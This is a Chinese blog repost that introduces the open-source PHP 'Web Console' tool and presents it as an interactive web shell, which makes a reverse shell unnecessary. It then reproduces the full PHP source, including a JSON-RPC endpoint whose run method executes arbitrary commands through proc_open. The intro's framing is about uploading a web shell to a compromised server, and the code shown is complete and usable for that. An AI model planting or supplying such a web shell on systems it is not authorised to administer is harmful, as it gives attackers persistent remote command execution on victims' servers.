交互式shell脚本web console
官网:http://web-console.org/
这个脚本可以实现web下交互,也就是有了这玩意后可以不用反弹shell了。
php // Web Console v0.9.7 (2016-11-05) // // Author: Nickolay Kovalev (http://nickola.ru) // GitHub: https://github.com/nickola/web-console // URL: http://web-console.org// Disable login (don't ask for credentials, be careful) // Example: $NO_LOGIN = true; $NO_LOGIN = false;// Single-user credentials // Example: $USER = 'user'; $PASSWORD = 'password'; $USER = ''; $PASSWORD = '';// Multi-user credentials // Example: $ACCOUNTS = array('user1' => 'password1', 'user2' => 'password2'); $ACCOUNTS = array();// Password hash algorithm (password must be hashed) // Example: $PASSWORD_HASH_ALGORITHM = 'md5'; // $PASSWORD_HASH_ALGORITHM = 'sha256'; $PASSWORD_HASH_ALGORITHM = '';// Home directory (multi-user mode supported) // Example: $HOME_DIRECTORY = '/tmp'; // $HOME_DIRECTORY = array('user1' => '/home/user1', 'user2' => '/home/user2'); $HOME_DIRECTORY = '';// Code below is automatically generated from different components // For more information see: https://github.com/nickola/web-console // // Used components: // - jQuery JavaScript Library: https://github.com/jquery/jquery // - jQuery Terminal Emulator: https://github.com/jcubic/jquery.terminal // - jQuery Mouse Wheel Plugin: https://github.com/brandonaaron/jquery-mousewheel // - PHP JSON-RPC 2.0 Server/Client Implementation: https://github.com/sergeyfast/eazy-jsonrpc // - Normalize.css: https://github.com/necolas/normalize.css ?> php/*** JSON RPC Server for Eaze** Reads $_GET['rawRequest'] or php://input for Request Data* @link http://www.jsonrpc.org/specification* @link http://dojotoolkit.org/reference-guide/1.8/dojox/rpc/smd.html* @package Eaze* @subpackage Model* @author Sergeyfast*/class BaseJsonRpcServer {const ParseError = -32700,InvalidRequest = -32600,MethodNotFound = -32601,InvalidParams = -32602,InternalError = -32603;/*** Exposed Instances* @var object[] namespace => method*/protected $instances = array();/*** Decoded Json Request* @var object|array*/protected $request;/*** Array of Received Calls* @var array*/protected $calls = array();/*** Array of Responses for Calls* @var array*/protected $response = array();/*** Has Calls Flag (not notifications)* @var bool*/protected $hasCalls = false;/*** Is Batch Call in using* @var bool*/private $isBatchCall = false;/*** Hidden Methods* @var array*/protected $hiddenMethods = array('execute', '__construct', 'registerinstance');/*** Content Type* @var string*/public $ContentType = 'application/json';/*** Allow Cross-Domain Requests* @var bool*/public $IsXDR = true;/*** Max Batch Calls* @var int*/public $MaxBatchCalls = 10;/*** Error Messages* @var array*/protected $errorMessages = array(self::ParseError => 'Parse error',self::InvalidRequest => 'Invalid Request',self::MethodNotFound => 'Method not found',self::InvalidParams => 'Invalid params',self::InternalError => 'Internal error',);/*** Cached Reflection Methods* @var ReflectionMethod[]*/private $reflectionMethods = array();/*** Validate Request* @return int error*/private function getRequest() {$error = null;do {if ( array_key_exists( 'REQUEST_METHOD', $_SERVER ) && $_SERVER['REQUEST_METHOD'] != 'POST' ) {$error = self::InvalidRequest;break;};$request = !empty( $_GET['rawRequest'] ) ? $_GET['rawRequest'] : file_get_contents( 'php://input' );$this->request = json_decode( $request, false );if ( $this->request === null ) {$error = self::ParseError;break;}if ( $this->request === array() ) {$error = self::InvalidRequest;break;}// check for batch callif ( is_array( $this->request ) ) {if( count( $this->request ) > $this->MaxBatchCalls ) {$error = self::InvalidRequest;break;}$this->calls = $this->request;$this->isBatchCall = true;} else {$this->calls[] = $this->request;}} while ( false );return $error;}/*** Get Error Response* @param int $code* @param mixed $id* @param null $data* @return array*/private function getError( $code, $id = null, $data = null ) {return array('jsonrpc' => '2.0','id' => $id,'error' => array('code' => $code,'message' => isset( $this->errorMessages[$code] ) ? $this->errorMessages[$code] : $this->errorMessages[self::InternalError],'data' => $data,),);}/*** Check for jsonrpc version and correct method* @param object $call* @return array|null*/private function validateCall( $call ) {$result = null;$error = null;$data = null;$id = is_object( $call ) && property_exists( $call, 'id' ) ? $call->id : null;do {if ( !is_object( $call ) ) {$error = self::InvalidRequest;break;}// hack for inputEx smd testerif ( property_exists( $call, 'version' ) ) {if ( $call->version == 'json-rpc-2.0' ) {$call->jsonrpc = '2.0';}}if ( !property_exists( $call, 'jsonrpc' ) || $call->jsonrpc != '2.0' ) {$error = self::InvalidRequest;break;}$fullMethod = property_exists( $call, 'method' ) ? $call->method : '';$methodInfo = explode( '.', $fullMethod, 2 );$namespace = array_key_exists( 1, $methodInfo ) ? $methodInfo[0] : '';$method = $namespace ? $methodInfo[1] : $fullMethod;if ( !$method || !array_key_exists( $namespace, $this->instances ) || !method_exists( $this->instances[$namespace], $method ) || in_array( strtolower( $method ), $this->hiddenMethods ) ) {$error = self::MethodNotFound;break;}if ( !array_key_exists( $fullMethod, $this->reflectionMethods ) ) {$this->reflectionMethods[$fullMethod] = new ReflectionMethod( $this->instances[$namespace], $method );}/** @var $params array */$params = property_exists( $call, 'params' ) ? $call->params : null;$paramsType = gettype( $params );if ( $params !== null && $paramsType != 'array' && $paramsType != 'object' ) {$error = self::InvalidParams;break;}// check parametersswitch ( $paramsType ) {case 'array':$totalRequired = 0;// doesn't hold required, null, required sequence of paramsforeach ( $this->reflectionMethods[$fullMethod]->getParameters() as $param ) {if ( !$param->isDefaultValueAvailable() ) {$totalRequired++;}}if ( count( $params ) < $totalRequired ) {$error = self::InvalidParams;$data = sprintf( 'Check numbers of required params (got %d, expected %d)', count( $params ), $totalRequired );}break;case 'object':foreach ( $this->reflectionMethods[$fullMethod]->getParameters() as $param ) {if ( !$param->isDefaultValueAvailable() && !array_key_exists( $param->getName(), $params ) ) {$error = self::InvalidParams;$data = $param->getName() . ' not found';break 3;}}break;case 'NULL':if ( $this->reflectionMethods[$fullMethod]->getNumberOfRequiredParameters() > 0 ) {$error = self::InvalidParams;$data = 'Empty required params';break 2;}break;}} while ( false );if ( $error ) {$result = array( $error, $id, $data );}return $result;}/*** Process Call* @param $call* @return array|null*/private function processCall( $call ) {$id = property_exists( $call, 'id' ) ? $call->id : null;$params = property_exists( $call, 'params' ) ? $call->params : array();$result = null;$namespace = substr( $call->method, 0, strpos( $call->method, '.' ) );try {// set named parametersif ( is_object( $params ) ) {$newParams = array();foreach ( $this->reflectionMethods[$call->method]->getParameters() as $param ) {$paramName = $param->getName();$defaultValue = $param->isDefaultValueAvailable() ? $param->getDefaultValue() : null;$newParams[] = property_exists( $params, $paramName ) ? $params->$paramName : $defaultValue;}$params = $newParams;}// invoke$result = $this->reflectionMethods[$call->method]->invokeArgs( $this->instances[$namespace], $params );} catch ( Exception $e ) {return $this->getError( $e->getCode(), $id, $e->getMessage() );}if ( !$id && $id !== 0 ) {return null;}return array('jsonrpc' => '2.0','result' => $result,'id' => $id,);}/*** Create new Instance* @param object $instance*/public function __construct( $instance = null ) {if ( get_parent_class( $this ) ) {$this->RegisterInstance( $this, '' );} else if ( $instance ) {$this->RegisterInstance( $instance, '' );}}/*** Register Instance* @param object $instance* @param string $namespace default is empty string* @return $this*/public function RegisterInstance( $instance, $namespace = '' ) {$this->instances[$namespace] = $instance;$this->instances[$namespace]->errorMessages = $this->errorMessages;return $this;}/*** Handle Requests*/public function Execute() {do {// check for SMD Discovery requestif ( array_key_exists( 'smd', $_GET ) ) {$this->response[] = $this->getServiceMap();$this->hasCalls = true;break;}$error = $this->getRequest();if ( $error ) {$this->response[] = $this->getError( $error );$this->hasCalls = true;break;}foreach ( $this->calls as $call ) {$error = $this->validateCall( $call );if ( $error ) {$this->response[] = $this->getError( $error[0], $error[1], $error[2] );$this->hasCalls = true;} else {$result = $this->processCall( $call );if ( $result ) {$this->response[] = $result;$this->hasCalls = true;}}}} while ( false );// flush responseif ( $this->hasCalls ) {if ( !$this->isBatchCall ) {$this->response = reset( $this->response );}if ( !headers_sent() ) {// Set Content Typeif ( $this->ContentType ) {header( 'Content-Type: ' . $this->ContentType );}// Allow Cross Domain Requestsif ( $this->IsXDR ) {header( 'Access-Control-Allow-Origin: *' );header( 'Access-Control-Allow-Headers: x-requested-with, content-type' );}}echo json_encode( $this->response );$this->resetVars();}}/*** Get Doc Comment* @param $comment* @return string|null*/private function getDocDescription( $comment ) {$result = null;if ( preg_match( '/\*\s+([^@]*)\s+/s', $comment, $matches ) ) {$result = str_replace( '*', "\n", trim( trim( $matches[1], '*' ) ) );}return $result;}/*** Get Service Map* Maybe not so good realization of auto-discover via doc blocks* @return array*/private function getServiceMap() {$result = array('transport' => 'POST','envelope' => 'JSON-RPC-2.0','SMDVersion' => '2.0','contentType' => 'application/json','target' => !empty( $_SERVER['REQUEST_URI'] ) ? substr( $_SERVER['REQUEST_URI'], 0, strpos( $_SERVER['REQUEST_URI'], '?' ) ) : '','services' => array(),'description' => '',);foreach( $this->instances as $namespace => $instance ) {$rc = new ReflectionClass( $instance);// Get Class Descriptionif ( $rcDocComment = $this->getDocDescription( $rc->getDocComment() ) ) {$result['description'] .= $rcDocComment . PHP_EOL;}foreach ( $rc->getMethods() as $method ) {/** @var ReflectionMethod $method */if ( !$method->isPublic() || in_array( strtolower( $method->getName() ), $this->hiddenMethods ) ) {continue;}$methodName = ( $namespace ? $namespace . '.' : '' ) . $method->getName();$docComment = $method->getDocComment();$result['services'][$methodName] = array( 'parameters' => array() );// set descriptionif ( $rmDocComment = $this->getDocDescription( $docComment ) ) {$result['services'][$methodName]['description'] = $rmDocComment;}// @param\s+([^\s]*)\s+([^\s]*)\s*([^\s\*]*)$parsedParams = array();if ( preg_match_all( '/@param\s+([^\s]*)\s+([^\s]*)\s*([^\n\*]*)/', $docComment, $matches ) ) {foreach ( $matches[2] as $number => $name ) {$type = $matches[1][$number];$desc = $matches[3][$number];$name = trim( $name, '$' );$param = array( 'type' => $type, 'description' => $desc );$parsedParams[$name] = array_filter( $param );}};// process paramsforeach ( $method->getParameters() as $parameter ) {$name = $parameter->getName();$param = array( 'name' => $name, 'optional' => $parameter->isDefaultValueAvailable() );if ( array_key_exists( $name, $parsedParams ) ) {$param += $parsedParams[$name];}if ( $param['optional'] ) {$param['default'] = $parameter->getDefaultValue();}$result['services'][$methodName]['parameters'][] = $param;}// set return typeif ( preg_match( '/@return\s+([^\s]+)\s*([^\n\*]+)/', $docComment, $matches ) ) {$returns = array( 'type' => $matches[1], 'description' => trim( $matches[2] ) );$result['services'][$methodName]['returns'] = array_filter( $returns );}}}return $result;}/*** Reset Local Class Vars after Execute*/private function resetVars() {$this->response = $this->calls = array();$this->hasCalls = $this->isBatchCall = false;}} ?> php // Initializing if (!isset($NO_LOGIN)) $NO_LOGIN = false; if (!isset($ACCOUNTS)) $ACCOUNTS = array(); if (isset($USER) && isset($PASSWORD) && $USER && $PASSWORD) $ACCOUNTS[$USER] = $PASSWORD; if (!isset($PASSWORD_HASH_ALGORITHM)) $PASSWORD_HASH_ALGORITHM = ''; if (!isset($HOME_DIRECTORY)) $HOME_DIRECTORY = ''; $IS_CONFIGURED = ($NO_LOGIN || count($ACCOUNTS) >= 1) ? true : false;// Utilities function is_empty_string($string) {return strlen($string) <= 0; }function is_equal_strings($string1, $string2) {return strcmp($string1, $string2) == 0; }function get_hash($algorithm, $string) {return hash($algorithm, trim((string) $string)); }// Command execution function execute_command($command) {$descriptors = array(0 => array('pipe', 'r'), // STDIN1 => array('pipe', 'w'), // STDOUT2 => array('pipe', 'w') // STDERR );$process = proc_open($command . ' 2>&1', $descriptors, $pipes);if (!is_resource($process)) die("Can't execute command.");// Nothing to push to STDINfclose($pipes[0]);$output = stream_get_contents($pipes[1]);fclose($pipes[1]);$error = stream_get_contents($pipes[2]);fclose($pipes[2]);// All pipes must be closed before "proc_close"$code = proc_close($process);return $output; }// Command parsing function parse_command($command) {$value = ltrim((string) $command);if (!is_empty_string($value)) {$values = explode(' ', $value);$values_total = count($values);if ($values_total > 1) {$value = $values[$values_total - 1];for ($index = $values_total - 2; $index >= 0; $index--) {$value_item = $values[$index];if (substr($value_item, -1) == '\\') $value = $value_item . ' ' . $value;else break;}}}return $value; }// RPC Server class WebConsoleRPCServer extends BaseJsonRpcServer {protected $home_directory = '';private function error($message) {throw new Exception($message);}// Authenticationprivate function authenticate_user($user, $password) {$user = trim((string) $user);$password = trim((string) $password);if ($user && $password) {global $ACCOUNTS, $PASSWORD_HASH_ALGORITHM;if (isset($ACCOUNTS[$user]) && !is_empty_string($ACCOUNTS[$user])) {if ($PASSWORD_HASH_ALGORITHM) $password = get_hash($PASSWORD_HASH_ALGORITHM, $password);if (is_equal_strings($password, $ACCOUNTS[$user]))return $user . ':' . get_hash('sha256', $password);}}throw new Exception("Incorrect user or password");}private function authenticate_token($token) {global $NO_LOGIN;if ($NO_LOGIN) return true;$token = trim((string) $token);$token_parts = explode(':', $token, 2);if (count($token_parts) == 2) {$user = trim((string) $token_parts[0]);$password_hash = trim((string) $token_parts[1]);if ($user && $password_hash) {global $ACCOUNTS;if (isset($ACCOUNTS[$user]) && !is_empty_string($ACCOUNTS[$user])) {$real_password_hash = get_hash('sha256', $ACCOUNTS[$user]);if (is_equal_strings($password_hash, $real_password_hash)) return $user;}}}throw new Exception("Incorrect user or password");}private function get_home_directory($user) {global $HOME_DIRECTORY;if (is_string($HOME_DIRECTORY)) {if (!is_empty_string($HOME_DIRECTORY)) return $HOME_DIRECTORY;}else if (is_string($user) && !is_empty_string($user) && isset($HOME_DIRECTORY[$user]) && !is_empty_string($HOME_DIRECTORY[$user]))return $HOME_DIRECTORY[$user];return getcwd();}// Environmentprivate function get_environment() {$hostname = function_exists('gethostname') ? gethostname() : null;return array('path' => getcwd(), 'hostname' => $hostname);}private function set_environment($environment) {$environment = !empty($environment) ? (array) $environment : array();$path = (isset($environment['path']) && !is_empty_string($environment['path'])) ? $environment['path'] : $this->home_directory;if (!is_empty_string($path)) {if (is_dir($path)) {if (!@chdir($path)) return array('output' => "Unable to change directory to current working directory, updating current directory",'environment' => $this->get_environment());}else return array('output' => "Current working directory not found, updating current directory",'environment' => $this->get_environment());}}// Initializationprivate function initialize($token, $environment) {$user = $this->authenticate_token($token);$this->home_directory = $this->get_home_directory($user);$result = $this->set_environment($environment);if ($result) return $result;}// Methodspublic function login($user, $password) {$result = array('token' => $this->authenticate_user($user, $password),'environment' => $this->get_environment());$home_directory = $this->get_home_directory($user);if (!is_empty_string($home_directory)) {if (is_dir($home_directory)) $result['environment']['path'] = $home_directory;else $result['output'] = "Home directory not found: ". $home_directory;}return $result;}public function cd($token, $environment, $path) {$result = $this->initialize($token, $environment);if ($result) return $result;$path = trim((string) $path);if (is_empty_string($path)) $path = $this->home_directory;if (!is_empty_string($path)) {if (is_dir($path)) {if (!@chdir($path)) return array('output' => "cd: ". $path . ": Unable to change directory");}else return array('output' => "cd: ". $path . ": No such directory");}return array('environment' => $this->get_environment());}public function completion($token, $environment, $pattern, $command) {$result = $this->initialize($token, $environment);if ($result) return $result;$scan_path = '';$completion_prefix = '';$completion = array();if (!empty($pattern)) {if (!is_dir($pattern)) {$pattern = dirname($pattern);if ($pattern == '.') $pattern = '';}if (!empty($pattern)) {if (is_dir($pattern)) {$scan_path = $completion_prefix = $pattern;if (substr($completion_prefix, -1) != '/') $completion_prefix .= '/';}}else $scan_path = getcwd();}else $scan_path = getcwd();if (!empty($scan_path)) {// Loading directory listing$completion = array_values(array_diff(scandir($scan_path), array('..', '.')));natsort($completion);// Prefixif (!empty($completion_prefix) && !empty($completion)) {foreach ($completion as &$value) $value = $completion_prefix . $value;}// Patternif (!empty($pattern) && !empty($completion)) {// For PHP version that does not support anonymous functions (available since PHP 5.3.0)function filter_pattern($value) {global $pattern;return !strncmp($pattern, $value, strlen($pattern));}$completion = array_values(array_filter($completion, 'filter_pattern'));}}return array('completion' => $completion);}public function run($token, $environment, $command) {$result = $this->initialize($token, $environment);if ($result) return $result;$output = ($command && !is_empty_string($command)) ? execute_command($command) : '';if ($output && substr($output, -1) == "\n") $output = substr($output, 0, -1);return array('output' => $output);} }// Processing request if (array_key_exists('REQUEST_METHOD', $_SERVER) && $_SERVER['REQUEST_METHOD'] == 'POST') {$rpc_server = new WebConsoleRPCServer();$rpc_server->Execute(); } else if (!$IS_CONFIGURED) { ?>Web Console class="configure">Web Console must be configured before use:
- Open Web Console PHP file in your favorite text editor.
- At the beginning of the file enter your class="variable">$USER and class="variable">$PASSWORD credentials, edit any other settings that you like (see description in the comments).
- Upload changed file to the web server and open it in the browser.
For more information visit Web Console website: http://web-console.org
php } else { ?> class="no-js">
转载于:https://www.cnblogs.com/hookjoy/p/11029086.html
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
